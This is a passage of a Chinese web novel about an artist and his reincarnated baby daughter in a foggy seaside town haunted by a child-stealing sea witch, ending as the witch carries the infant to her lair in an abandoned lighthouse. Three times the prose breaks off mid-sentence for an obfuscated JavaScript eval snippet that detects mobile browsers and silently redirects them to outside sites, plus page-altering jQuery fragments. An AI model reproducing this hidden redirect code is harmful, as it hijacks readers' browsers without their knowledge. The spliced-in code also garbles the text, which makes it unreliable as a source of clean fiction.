她和谢利的新家是一幢宽敞的小独栋,有一个种满了花草的小院,和一间充满艺术气息的玻璃温室。房东是一个名叫克里斯蒂娜的老太太。据她介绍,这幢房子之前是她的儿子儿媳在住。不久前,她的儿媳查出怀孕,夫妻俩搬去了生活更便利的州府马斯里市居住,这幢房子就空了下来。 “我年纪大了,平时也没有精力过来打扫,还不如把它租出去,房租收多收少无所谓,主要是怕房子闲置久了,因为疏于养护出现各种乱七八糟的问题。”克里斯蒂娜说。 谢利闻言好奇询问:“您的儿子儿媳要在马斯里市住很久吗?” “是的,很久。”听到问话,克里斯蒂娜脸上的笑有些僵硬,她垂下头,长叹了一口气,眼底浮现深深的落寞,“在孩子7岁前,估计他们不会回来的……” 谢利一听顿时安了心——至少六七年内,他不用担心被房东赶走了,这可真是个好消息。自觉捡了大便宜,他便也不吝啬对老妇人多说几句好话:“我了解了……感谢您的慷慨,我一定会爱惜这幢别墅的。以后您生活中有什么需要帮助的,也请不要客气。” “那我们以后就是邻居了。”老太太说。 租房的合同就这样签了下来。 房东家境优渥,出租房子的主要目的不是收租而是维持房屋的正常运转,所以租金十分低廉,家里的各种家具摆设也都能随意使用。 谢利带着埃弗莉在新家住了一晚,罗列了一下遇到的问题。次日上午,趁着阳光好,他便抱着埃弗莉出门购物了。 普卡蒂有一家购物中心,镇民们平时都在那里买东西。 购物中心面积很大,内部划分出了生鲜、食品、服装、生活用品等多个区域。谢利在购物中心里转了转,很快买齐了需要的绘画用具,还有填充冰箱的牛奶、面包、果酱等食物。 轮到购买埃弗莉的奶粉、尿不湿和冬衣时,谢利遇到了问题——他找不到婴儿用品区。 他推着满满当当的购物车,在偌大的商场里转了半天,终于找到一个身穿商场制服的工作人员,凑上前询问:“嘿,抱歉,我是新来的,对这里不太熟,请问哪里可以买到婴儿用品?” “哦,您好。”工作人员放下手里的东西,转过身,目光飞快将谢利和推车篮子里的埃弗莉从上至下扫视了一遍,眼底浮现一抹了悟,“我想您一定是谢利先生。” 谢利有些惊讶:“你知道我?” 工作人员笑了笑:“是的,毕竟普卡蒂是个小地方,任何消息都会传得很快……您要找婴儿用品对吗?那您恐怕得去隔壁凯特镇采购了,因为这里没有婴儿用品出售。” “什么?” “购物中心不售卖婴儿用品。”工作人员把话重复了一遍。说完,她左右观察了一番,见周围没人,便压低声音,小心提醒说:“您带着孩子,最好也不要在这里久留。” “对孩子而言,这里可不是什么好地方……” 8. 女妖 “对孩子而言,这里不是什么好地方……” 女员工的话听得谢利满脑门问号,他张嘴正待追问,斜刺里忽然响起一个粗犷的男声:“查莉,查莉!你在哪里,快过来搭把手!” “来了!”名叫查莉的女员工踮起脚尖,朝声音来的方向大喊回应。喊完,她转头朝谢利做了个抱歉的手势,“店长有事找我……那么,下次再见了。” 说完,不等谢利回复,她便火急火燎地穿过货架,跑没了影。 “……” “离谱,简直离谱!果然是小地方,不仅商品少得可怜,还编谎话吓唬顾客!”女店员走后,谢利推着购物车,一边在购物中心穿行,一边不断低声咒骂。 他觉得查莉是在说谎。 什么“此地不宜久留”、“小镇对孩子不好”,一听就是假的,绝对是那个店员为了掩盖购物中心商品品类不全而扯的鬼话。谢利听人提到过,越是偏远的小地方,居民的自尊心和集体荣誉感反而越高,在外来者指出某处缺点时,就很容易出现这种应激排外的情况。 亏他之前还对普卡蒂小镇赞不绝口,觉得此处是一个民风淳朴,景色优美的好地方,现在看来,景色美归美,民风怎么样显然得打个折扣! 坐在购物车篮子里的埃弗莉对此有不同看法。 她觉得查莉的态度很和善,说话也很真诚,看起来不像在说谎……可若是女店员的劝告为真,不就说明普卡蒂小镇确实存在某些危险,不适合她生活吗? 感觉后者更加让人难以接受哎…… 小婴儿嘬着指头想了又想,最后双手一摊,决定放弃。她年纪实在太小了,连话都不会说呢,这个小镇安全也好,危险也罢,有资格决定去留的始终只有蠢爹谢利。 她能做的,只有睁大眼睛,仔细观察而已。 …… 谢利满腹怨言地在购物中心柜台结了账。 手里的东西太多,他腿脚不便,就先带着买到的东西回了一趟家,然后抱着埃弗莉一路打听,去了小镇里另外两家规模较小的商店,希望能买到埃弗莉能用的东西。 然而—— “婴儿用品吗?很抱歉,我们这里不卖这个。” “您还是开车去凯特镇买吧,只有那里才能买到您要的商品。” 听说他要买奶粉等物,店老板们纷纷摇头,表示小店不售卖婴儿用品。 谢利大为失望,他抱着埃弗莉,转过身刚要离开,其中一位店主忽然叫住了他:“先生,您去过小镇的历史博物馆吗?” 谢利脚步一顿:“没去过……这个小镇还有历史博物馆吗?” “是的,博物馆就在小镇中央,全天免费开放。去看看吧,能帮您了解到很多小镇的历史和禁忌——比如,您听说过吗,大雾天千万不能把孩子带到外面什么的。” “克里斯蒂娜夫人跟我提过——‘不要带孩子去海边,不要在雾天带孩子出门,不能在雾中晾晒孩子的衣物,别让孩子照射到灯塔的光’,是不是这四条?” “没错,您记性真好。那您知道这些禁忌的由来吗?” 谢利不知道,但他会猜:“不带孩子去海边,能防止孩子溺水。至于雾气相关的两条——我在网上查过,普卡蒂是开采砂金起家的,采矿肯定会带来污染,不让在雾天晾衣服和带孩子出门,应该是当时的雾气里包含了一些有毒物质,担心伤害到孩子的身体。最后一条嘛——嘿,灯塔不是用来给航船指引方向的吗,它的光怎么可能照向陆地?” 说到这,谢利自觉讲了个十分有趣的笑话,自顾自笑了起来。 店主也笑了:“您说得不对。普卡蒂的雾气从海上来,成分很干净,不存在您所说的污染。” “那为什么不准在雾天外出?” “具体原因您去了博物馆就知道了……记住,在普卡蒂生活,一定要坚守这四条禁忌,切记切记!”说至最后,店主缓慢收起笑容,脸上表情一派严肃。 谢利被他前后迥异的态度搞得有些懵。 胡乱点了点头,他带着埃弗莉快步离开了商店。 奔波了一上午,谢利感觉有些累。小镇的中心开着这里唯二的两家餐馆,谢利不想回家做饭,就破费了一次,抱着埃弗莉在其中一家餐馆吃了午饭。 饭后消食时,想起店主提到的博物馆,谢利决定去那里看看——作为一名艺术家,他总是需要从各种稀奇古怪的东西里汲取灵感,也许这个普卡蒂历史博物馆能带给他惊喜也说不定。 小镇不大,博物馆很好找。它就位于镇中央的镇政府大楼一楼,是单独开辟出的一个小展厅。展厅里灯光明亮,贴墙摆放着竖横竖三条展柜。除了展品,展厅里连一个工作人员的影子都看不到。 看到所谓的“博物馆”这么小,谢利本来没报什么希望,没想到,历史博物馆里的东西意外的有意思。 进门左手边的第一条展柜,摆放的是一份族谱、几张画像、一把矿镐、一堆暗金色的沙砾状矿石和一枚奖章。展柜上方的墙壁上用花体字雕刻着有关这些展品的故事。 埃弗莉识字,但英文水平有限。好在谢利有边看边念的习惯,让她连蒙带猜,了解到了故事的大概—— 几百年前,1783年的某天,一个叫索克迪斯·尼古洛·普洛斯的人从梦中醒来。他神采飞扬,满脸欣喜地告诉众人,他在睡梦中登上一条螺旋向上的金色阶梯,于顶端得到了神的指引。神告诉他,往东边去,在一片荒芜的口口口处(埃弗莉没听懂),深埋着他所追求的财富。 索克迪斯于是召集了一批伙伴,跋山涉水,翻山越岭,终于来到了神所指引的地方。他提起矿镐凿开岩石,岩层下出现了一捧代表财富的砂金……金矿的出现吸引了大批淘金客光顾,人群聚集之处,逐渐出现了普卡蒂镇的雏形。而索克迪斯,则顺理成章成了普卡蒂镇的第一任镇长。 1796年,在众人持续不断的开采下,第一条砂金矿宣告枯竭。索克迪斯在镇中大摆祭坛,自己担任主祭,举办了盛大的口口口仪式,向神明祈祷。神明回应了他的祈求,通过预知梦,索克迪斯又先后从小镇周边发掘出三条新的矿脉,延续了小镇的繁荣。 时间跳到1802年,这年的7月13日,深夜,索克迪斯满头大汗从睡梦中惊醒。他告诉周围人,口口口矿井即将塌陷,让卫队即刻封锁那条矿洞。次日清晨,该矿井果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566115|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然因地质结构不稳发生了垮塌,幸存的人们围聚在索克迪斯身旁,唤他伟大的先知,慈爱的父亲,地上行走的神明代行者。镇政府由此颁发了索克迪斯特殊贡献奖章。 第一展柜的故事到此结束。 展柜中的族谱、画像和奖章属于索克迪斯。矿镐是当年开凿出第一条砂金矿的那把,极富纪念意义。至于那堆金色的沙砾,则是未经加工的砂金矿石。 转到第二排展柜,里面的东西更富有奇幻色彩。 摆在最前方的是几张本地报刊的剪报,剪报上印刷着老旧的黑白照片,和一系列耸人听闻的标题——“年仅2岁的幼童从家中消失,现场门窗紧闭无入侵痕迹”、“又一起儿童失踪案,是谁偷走了我们的孩子!”、“镇长爱女梅莉失踪,镇长夫人当众晕倒!”…… 谢利将展品匆匆一扫,仰头去念墙上的文字: “1821年,一位妇人到警局报案,她2岁的小儿子从家中离奇失踪……新到任的警长帕蒂亚接手了案件,他调查之后,震惊地发现,从小镇建立之日起,每年都会有数名儿童下落不明,到了1815年往后,失踪情况越发严重……” “儿童失踪的情况越演越烈,当镇长阿奇里斯心爱的女儿也成为受害者时,镇民们出奇愤怒了。镇长怀着悲痛的心情,让镇民把他们的孩子藏进地窖,只留他唯一的小儿子雷利在外面做诱饵。经过漫长的等待,终于,失踪案的元凶——邪恶的海中女妖露面了。” 埃弗莉竖着耳朵,一边听老爹念稿子,一边低头看展品。 剪报后面摆放了三幅油画。第一幅油画画了一个人身蛇尾,面目狰狞的女妖,她盘踞在高高的白骨山上,唇边沾着血液,怀里抱着一个满身伤痕的死婴,想来就是故事里所说的“海中女妖”了。 “……镇长阿奇里斯·尼古洛·洛普斯的正直与无私感动了神明。一名强大的驱魔人闻讯赶来,加入了战斗。在镇长与驱魔人的带领下,镇民们与女妖进行了殊死搏斗。战斗持续了三天三夜,女妖的血染红了大海,经过艰苦卓绝的拼杀,镇民们成功杀死了女妖,将她口口口之后,秘密封印……” 紧随海中女妖的第二、第三幅油画,浓墨重彩,笔触厚重,细致描绘了“镇民与女妖搏杀”、“女妖被切成几块,鲜血染红海洋”两个画面。 看到第三幅,埃弗莉恍悟,原来那句她没听懂的口口口是“肢解”、“分尸”的意思。真好呢,今天也是收获满满的一天,又学会了一个新单词:) 她将充满兴味的目光投向最后一件展品:一片硬币大小的青黑色鳞片。 那也是她觉得全场最扯淡的展品。它底部放着标签,上面是这样介绍的:“海中女妖的尾鳞——由英勇的镇民罗萨·史密斯捐献”。既有来历又有捐献人,看上去真真的,好像真有个偷孩子吃的海中女妖跟镇民们殊死搏斗过,把一个普普通通的民间传说一下子抬到了“根据真实事件改编”的高度。 可现实世界怎么可能有女妖呢……额、等等,好像还真可能有! 想起自己经历过的几次灵异事件,埃弗莉脸上的笑猛地僵住。 她怎么忘了,这是个万事皆可能的奇特世界啊! 9. 女妖 埃弗莉越想越觉得女妖可能真的存在。 类比一下,如果这是一部恐怖电影,那她和父亲谢利就是迟钝又酷爱作死的主角。无数的提示与线索都喂到嘴边了,还觉得周围人是在开玩笑,无知无觉,对潜藏的危险视而不见,甚至还会反向作死,看得屏幕外的观众又气又急,放下碗直骂主角是猪。 她怀疑自己勘破了真相。然而,可悲的是,即使她察觉到异样,也对情况产生不了任何影响,因为她不会说话……啊啊啊,可恶,她回去一定勤加练习,非要把这条不听话的舌头捋直不可! 谢利猪听不到埃弗莉激烈起伏的心理活动。 他把展厅里讲述的一切都简单地看成一个故事。第二展柜的故事看完,他已经举步往第三展柜走去了。 埃弗莉见状赶忙收敛心神,把注意力放回展品上。 第三展柜紧接第二展柜的故事进行。 杀死女妖后不久,普卡蒂镇最后一条砂金矿宣告枯竭。大量的淘金客见无利可图,纷纷收拾行囊离开了普卡蒂,前往机会更多的西部淘金。一夕之间,普卡蒂镇门庭冷落,再不复往日的车水马龙,人声鼎沸。 定居在此的居民们不愿接受现实。他们找到镇长阿奇里斯——他是上任镇长索克迪斯的后代——希望阿奇里斯能像25年前一样,举办口口口仪式,唤回神明的眷宠,让普卡蒂重现昔日的荣光。 但阿奇里斯拒绝了他们。 “不行,我办不到……人类不该祈求不属于他们的力量,这会让我们坠入深渊。”他说。 阿奇里斯在与女妖的对决中失去了仅有的两个孩子。他陷入了悲痛与自责,不再热心镇中事务,人也变得无比消极。或许正因此,当镇民们在一位狂热的信徒煽动下,在口口秘密搭建祭台,准备口口口仪式时,他没有及时发觉。 仪式由那位名叫麦考夫的狂信徒主持。他满怀雄心,认为自己对神的虔诚与忠诚绝不输给索克迪斯,既然索克迪斯能得到神明的偏爱,他一定也能! 然而,不知道出现了什么问题,仪式失败了。 发现一切的阿奇里斯愤怒不已,他立刻着人封锁了仪式现场,严令禁止镇民再次举办口口口仪式。阿奇里斯的铁腕手段引起了镇民的不满,小镇的萧条让他们生活水平一落千丈,关键时刻,他们寄予厚望的镇政府却没有给出满意的答卷!麦考夫仍在煽风点火,他认为阿奇里斯此举旨在将“先知”能力垄断在洛普斯家族……矛盾累积到一定程度,终于彻底爆发了。在争执中,有人失手误杀了阿奇里斯。 洛普斯家人丁单薄,阿奇里斯一死,洛普斯家族的血脉就此在普卡蒂断绝。为了砂金矿,镇民们只能将希望全部寄托在了口口口仪式上。之后几年,普卡蒂镇又先后举办了数次仪式,可当年的索克迪斯也许隐瞒了一些事情,没有洛普斯家的人参与,无论举办几次,人们始终没能获得新的“先知”。 更糟的是,海中女妖回来了。 她出现在冰冷的海水中,出现在漆黑的礁石丛,出现在笼罩小镇的迷雾里。灯塔的光是她的眼睛,海水与雾气是她伸展的触肢。她的身影所过之处,无数的家庭就此破碎,永远失去了他们的孩子……海中女妖的回归让越来越多镇民收拾行囊,离开了普卡蒂。剩下的人没有放弃,尝试组织力量击杀女妖。然而,没有驱魔人的协助,他们连女妖的巢穴都找不到。 “浪潮翻涌,有雾将至,海妖携子,永不复归……”①,这是当时在普卡蒂流传甚久的诗歌。 以无数鲜血与泪水为代价,在同女妖漫长的对抗与周旋中,普卡蒂小镇的镇民终于总结出了四条禁令:不要带孩子去海边,不要在雾天将孩子带出门,不能在雾中晾晒孩子的衣物,别让孩子照射到灯塔的光。家中儿童在7岁以下的家庭,都需要严格遵守禁令,否则就可能失去他们的孩子。 普卡蒂的人们就这样与海中女妖共存至今。 …… 第三展柜的展品与墙上的故事对应。摆在展柜最前面的,是几份描写金矿枯竭、小镇衰败的报纸。然后是一张黑白照,照片里,一个二十余岁的瘦削年轻人正站在高台上,高举双手朝下面说着什么,高台下围了一圈听众,个个如痴如醉——这应该是麦考夫的演讲现场照。照片后面,明晃晃陈列着那把杀死了阿奇里斯的匕首,锈迹斑斑,乍一看就像血痕还没擦干。再往后,是一张儿童的寻人启事,和一块雕刻有诗歌与四条禁令的石板。 那块石板就是博物馆里最后一件展品。 “‘浪潮翻涌,有雾将至,海妖携子,永不复归’……多有意境的诗歌啊!来这里果然是对的,我现在满脑子都是灵感!”谢利没有嗅到禁令后隐藏的危险。他的全副心神都被那首古老的诗歌吸引了,嘴里翻来覆去地念诵,越念眼睛越亮,苍白的两颊逐渐泛起兴奋的红晕。 强烈的创作欲望从心底腾起。没有再在镇中心停留,他抱着埃弗莉离开博物馆,匆匆忙忙回到家,随便找了个地方把小婴儿那么一放,就抱着画纸和颜料等物一头扎进了他的新画室里。 谢利这种全身心沉迷绘画的狂热状态,足足持续了半个月。 这半个月里,除了吃饭睡觉和喂小宝宝,他所有的时间都花在了画画上,对外界的一切纷扰与喧嚣充耳不闻。 和没心没肺的渣爹不一样,先后经历过镇民的警告和博物馆中的故事铺垫,埃弗莉此时已经认定海中女妖确有其事。因此,她每天都会警醒地透过紧锁的玻璃窗观测外面的天气。 普卡蒂镇位于海边,受地形影响,每当海风吹起的时候,潮湿的空气顺着海岬一路向上,在到达顶端的普卡蒂时遇冷凝结,便会形成笼罩小镇的厚重白雾。 雾天在这里很常见。半个月的时间,浓雾一共降临了三次。 幸运的是,因为谢利一直在画画,没有空管她。所以这三次大雾,她都窝在室内的大床上,平平安安度过了。 可惜幸运女神不会永远站在埃弗莉身侧。 半个月后的某天清晨,当谢利打开奶粉罐子,想同往常那样给埃弗莉冲一杯冰冰爽透心凉的冷泡奶时,他发现奶粉见底了。 因为普卡蒂镇没有售卖婴儿用品的店铺,上一次采购,谢利没能补充埃弗莉的口粮。之后,他又被博物馆的女妖故事所吸引,全心投入到绘画创作中,一时疏忽,居然直到奶粉喝完他才发现! 最近的“奶源地”在隔壁凯特镇,开车往返要半天。想着出去一次不容易,刚好冬天也快到了,除了奶粉和尿布,谢利决定再给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566116|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃弗莉买几身厚实的婴儿服。 买衣服得把小宝宝一起带去,谢利可没有用眼睛丈量尺寸的能力!于是,躺床上“啊啊”练习着说话的埃弗莉没等到奶瓶,等到了渣爹的拥抱。 “唔,好臭!” 因谢利的忽视,埃弗莉已经半个月没有洗澡了。拿近之后,谢利闻到一股异味从鼻端飘过,他嫌弃地皱起了眉。 “要带出去见人,得先把你洗干净,免得他们说我虐待儿童……”口中咕哝着,谢利一把抄起埃弗莉,在浴室手法粗暴地给小婴儿打了香波,上下搓洗了一番。看到从女儿身上换下的脏衣服,为图省事,洗人的同时,他还顺手把脏衣服也扔进盆里,胡乱拧了几下。 洗完澡,头发擦擦,再套上柜子里的干净衣服,埃弗莉又变成一个九成新的小宝宝了。 从浴室出来,谢利去院子里晾衣服,埃弗莉则被留在沙发上暂时放置。她身体前倾,“啊啊”叫着往外面不停伸手—— 别,不要啊!虽然外面天气晴朗,看上去是个大晴天,可她总有种不妙的预感……住手吧渣爹,衣服晾在家不好吗,别把她衣服挂在外面呀! 谢利没听懂埃弗莉的婴言婴语。 他还惦记着画室里未完成的画作。晾晒完衣服,看埃弗莉头发已经干了,他便迫不及待去镇中心花钱叫了车,带着埃弗莉去了凯特镇。 这一趟去得比预想的久。路上遇见修路,绕了很大一圈,等采购完从隔壁镇回来,时间已经接近傍晚。 车辆开过斜坡,驶上普卡蒂镇冷清的街道。透过建筑的空隙,埃弗莉看到天边挂着绚烂的晚霞,艳丽的火烧云点燃了大半片天。 看起来今天普卡蒂镇一整天都是晴天。 埃弗莉悬着的心稍稍落下。 但她还不敢完全放松,因为她的婴儿服还晾在院子里。没亲眼看到谢利把它收起来,她是不会完全安心的。 她默默等待着,终于,“吱——!”一声响,汽车停在了家门口。 谢利付了车费,让司机在原地等他一会儿,他先起身抱了埃弗莉回家。当两人经过院中的晾衣架,埃弗莉瞅准机会,左手抬起一把捏住谢利脸颊的软肉,另一手直直指向架子上的衣服,身体探出,嘴里发出一阵急切的“科……科科……”。 她想说的其实是“clothes”,但这个单词对刚满六个月的小婴儿而言,发音实在太复杂太绕了。好在她的努力没有白费。被女儿突如其来的异常举动所吸引,谢利顺着看过去,很快看到了挂在架子上的衣服。 “对哦,该收衣服了。” 她听到他说。 埃弗莉心中一喜。不用谢利安抚,她自觉地松开了折磨渣爹的手,缩回到谢利的怀抱里,任他将她抱到沙发放下,然后折返回汽车,搬运此次采购的婴儿用品。 东西全拿完,埃弗莉期待地看向谢利,眼巴巴等他出去院子里收衣服。 结果渣爹在让人失望这方面是一点也不让人失望——只是拿个东西的工夫,他就忘记了这回事! 他弯腰抄起“科科”个不停的女儿,把埃弗莉带到卧室,又拿凉水冲了一瓶奶塞进女儿手里当晚饭。安置完毕,谢利就心无旁骛地转身去了画室。 “……” 10. 女妖 埃弗莉当晚又尝试了好几次,又是抓谢利的脸,又是对他喊“科科”,试图唤起渣爹对衣服的记忆。 可惜谢利和她毫无默契。她抓谢利脸,谢利拍掉她手不让继续;她“科科”乱喊,谢利以为她嘴巴疼,掰开她嘴检查口腔;她伸出手仙人指路,谢利惊讶鼓掌,然后拿出手机拍她的糗照…… 一通折腾下来,埃弗莉都给整没脾气了。 小婴儿的精力有限,在床上闹了这一阵,埃弗莉逐渐感到眼皮打架,困意席卷。谢利也早就困了,看女儿眼睛半阖,昏昏欲睡,他揽过被子,抬手关灯,没一会儿就在旁边打起了呼。 好吧,好吧……谢利那么懒,就算现在把他喊醒,他也不会大晚上出门收衣服的。等明天再提醒他算了,希望明天不要有雾…… 埃弗莉闭上眼,在越发强烈的困倦中沉沉睡去。 …… 睁开眼,埃弗莉第一时间看向窗外。 透过窗玻璃,看到外面明媚的阳光,她松了一口气——今天依旧是晴天。 谢利已经起来了。听到卧室的动静,他匆匆走进房间,给埃弗莉换了尿布,把小婴儿抱到客厅沙发上放着,再往她手里放个奶瓶,就转身离开了。 期间,埃弗莉疯狂挣扎,手指抽风一样不停往院子的方向指指指,谢利却觉得她这是在好奇斜照进屋子的阳光,连看都没往院子里看一眼。 晚上亦是如此。 埃弗莉吐血发誓,她已经想尽一切方法,使尽浑身解数。她觉得,蠢蛋谢利就像横亘在她人生道路上一座无法翻越的高山,无论她怎样努力,也找不到攻克的方法。 又过了一夜,第三天,阴天。 好消息是没有起雾,坏消息则是,谢利依旧没想起来收衣服。 埃弗莉知道,以普卡蒂镇的起雾频率,雾天早晚会来——事实上,看今天的风向,不是明天就是后天,这里就要起雾了。剩下的时间不多了,如果谢利不能在大雾降下前收起婴儿服,她就得做好直面海中女妖的准备。 因为这个认知,埃弗莉情绪越发焦躁,晚上翻来覆去,醒了好几次。 第四天清早睁开眼,不祥的预感成真,透过窗玻璃,埃弗莉看到天地一片白茫茫。 雾来了。 普卡蒂的雾气总是凝实、厚重又浓稠的,让人联想到层层堆叠的纱幔,和一锅打翻的奶油浓汤。埃弗莉呆呆坐在客厅沙发上,双眼紧盯院子里的晾衣架,像一个即将行刑的死囚,安静等待着铡刀落下的那刻。 等着等着,不知什么时候,院子里起了一阵风。乳白的雾气被风驱赶,蛇一样顺着杆子盘绕而上,包裹住上方的粉色婴儿服。“吱呀”,埃弗莉看到衣服突兀地前后摇晃了一下,然后“唰”的一声,从杆子上脱落。 埃弗莉的心重重跳了一下。 角度问题,婴儿服落到地上后就从埃弗莉视野范围消失了。取而代之,她看到院中的植物一阵颤动,枯黄的叶片“沙沙”响着,迅速倒伏向两侧,那样子就好像有什么东西在里面爬行一般。 “沙沙”声由远及近,爬行的轨迹穿过大半的院子,最后停留在客厅的推拉门前。门口的花丛剧烈颤抖着,一阵强过一阵,直至最后,只听“啪!”一声响,一张死人般惨白的脸贴在了玻璃上—— 那是一个女人,上身赤果,长发及臀,大半张脸隐藏在浓密的黑发下,看不清长什么样。她的皮肤湿漉漉的,肿胀发青,让人联想到在水中浸泡了好几天的尸体,透着股浓烈的死气。横亘在她四肢和躯体上的伤疤,像一条条黑色的蜈蚣,为女人的形象平添了几分狰狞。 但这些都不及她的眼神恐怖。 透过凌乱如海藻的黑发,埃弗莉看到一双满含怨毒的猩红眼眸。像淬了毒的匕首,像吐着信子的毒蛇,像涌动沸腾着无尽怨恨的血池,女人趴在移门上,就这样睁大眼睛,一瞬不瞬盯着她,盯着她,盯着她……强烈的恐惧从心底生出,埃弗莉再也忍不住,张口发出一阵歇斯底里的哭叫:“哇啊啊啊啊啊啊!” 埃弗莉是个很乖的宝宝,从不乱哭乱喊,非常好养。出生以来,她还是第一次哭得这样凄厉。 画室中,谢利听到远远传来的哭声,有些不安地停住了画笔。这几天女儿有些反常,变得比以往焦躁许多,动不动就对他拳打脚踢,现在又哭得这样悲惨……她是不是生病了呢? 生病需要住院,想起医院昂贵的治疗费,谢利立时坐不住了。 他一把丢掉画笔,脚步匆忙,抬步便往客厅的方向赶。刚走到客厅门前,还没来得及看清屋里发生了什么,谢利首先闻到了一股夹杂着海腥味的恶臭。 这股与尸臭类似的气味勾起了他深埋的回忆,不好的预感越发强烈,谢利不敢耽搁,脚下加速,快步冲到客厅。 他看见了永生难忘的一幕—— 客厅的玻璃移门洞开着,门外的雾气肆无忌惮飘了进来,笼罩了大半的客厅。白雾中,一个体型庞大、人身蛇尾的恐怖女人正探出身体,朝沙发上哭嚎不休的女婴伸出白骨森森的糜烂手爪。 “不!埃弗莉,不!” 顾不得想突然出现的怪物究竟是什么,在本能驱使下,谢利大喊一声,脚下用力,朝沙发的方向一个飞扑,试图抢在女妖前抱住自己的孩子。 他抱了个空。 女妖的速度快得不可思议,不过眨眼,埃弗莉已经被那只手爪攥住后脖领,拎到了女妖的面前。 “嘶——!”猎物到手,海中女妖仰头,张口发出一阵古怪的吼叫。 吼毕,不再理会冲上前试图抢人的谢利,她垂下头,用冰冷的手臂紧紧缠住埃弗莉,水桶粗的蛇尾猛地一摆,矮身潜入迷雾,很快就化进雾里,消失不见。 …… 埃弗莉觉得自己也许大概可能maybe是要寄了。 女妖的手像钳子一样,抓她抓得非常紧,根本没有挣脱的可能。 她带着埃弗莉,在空无一人的街道上爬行了一阵,来到一条接近干涸的小河边,从裸/露在外的一处下水道洞口钻了进去。 洞口直径只有一米,对女妖庞大的体型而言显得有些狭窄。但女妖并不嫌弃环境的恶劣,她把埃弗莉的位置从腋下调整到了胸前,双手交叉,上半身一弯,毫不犹豫地钻了进去。丰满硕大的濡房垂落而下,小小的女婴刚好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566117|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被夹在两团腥臭的脂肪之间,交缠的双臂则成了确保安全的最后屏障。埃弗莉由此得以避开下水道地面凹凸不平的铁钉、碎玻璃、塑料片等垃圾,全须全尾通过了这段路。 等一妖一人从下水道另一端出来,位置已经到了海边。 微凉的海风挟着海洋的腥味,吹拂在埃弗莉身上。她下意识蜷缩身体,感觉到有一些冷。 这里是一处怪石嶙峋的礁石滩。女妖对此处很熟悉,她长长的蛇尾十分灵活,表面覆盖着坚硬如铁的青黑色鳞片,在突起的石块石柱上或卷或缠,所过之处,礁石表面突起的细小尖刺纷纷断裂。 如此穿行了大约七八分钟,四周的礁石越来越少,地面上出现了暗色的海水。 埃弗莉提心吊胆,眼睁睁看着女妖的尾巴随着距离的推进一点点沉入水中。陆地在逐渐远离,冰冷的海水淹过尾巴,逐渐抬高到了女妖腰部。即便如此,女妖前进的速度依旧不曾减慢,反而有了越发加快的趋势。 埃弗莉猜测,海中女妖的巢穴应该藏在远离陆地的大海里。她觉得自己这回死定了,且不说现在已经是深秋,海水的温度偏低,柔弱的婴儿不宜久泡,光只是呼吸问题,也能要了她的小命! 想到这,埃弗莉心中浮现浓浓的绝望。 然而,出乎意料,当海水漫至女妖的胸前,眼看就要把埃弗莉打湿时,海中女妖忽然高高抬起头,上半身倾斜着向后仰倒,埋在水中的蛇尾朝上弓起,抬出海面用力拍打了一下,再顺势一个灵巧的翻转——轻柔的水波在周围荡起,等埃弗莉回过神时,女妖已经调整完姿势,从之前的直立涉水改为了面朝上漂浮的仰泳。 埃弗莉就伏在女妖丰硕的胸脯上,除了先前蛇尾拍水溅出的水花,从头到尾连一星海水都没沾到。 “咕噜……” 被海水包围似乎让女妖感到非常舒适,埃弗莉听到她从喉间发出了一阵小动物般愉悦的呼噜声。青黑色的蛇尾长长一条,在水中优雅地来回摆动,漆黑的尾巴尖偶尔露出海面,将四周的海雾搅得乱成一团。 画面一时间竟有些惬意的悠闲。 “哼哼哼……哼……啦啦啦……” 游着游着,女妖忽然开始哼歌。和嘶哑的嗓音不一样,歌曲的旋律十分柔缓,一边哼唱,女妖按在埃弗莉背上的手爪一边不轻不重地拍打。如果不是知道自己身陷险境,埃弗莉有那么一秒差点以为自己这是回到了前世母亲的怀抱里。 母亲……对,母亲。 无论是执着于孩子的行为,还是女妖臃肿膨大的胸脯,都暗合了“母亲”这一身份——难道海中女妖是个失去了孩子的母亲? 可这也不对啊,有哪个母亲会用那样怨恨恶毒的目光看孩子,还把抓到的孩子全部吃掉呢? 埃弗莉的眉越皱越紧,有种坠入谜团,无法挣脱的感觉。 而此时,女妖已经游到了海中央一团高高矗立的阴影下。她单手抓住埃弗莉,另一手深深嵌入礁石一角,尾巴用力往下一顶,便借力轻巧地爬上了高出水面的礁石堆。 埃弗莉趴在女妖身上,抬起头仔细观察,发现这里居然是海中央的那座废弃灯塔! 11. 女妖 海中女妖抱着埃弗莉在礁石间一路穿行,最后在灯塔旁一处乱石堆下找到一个隐藏的洞穴,熟门熟路钻了进去。 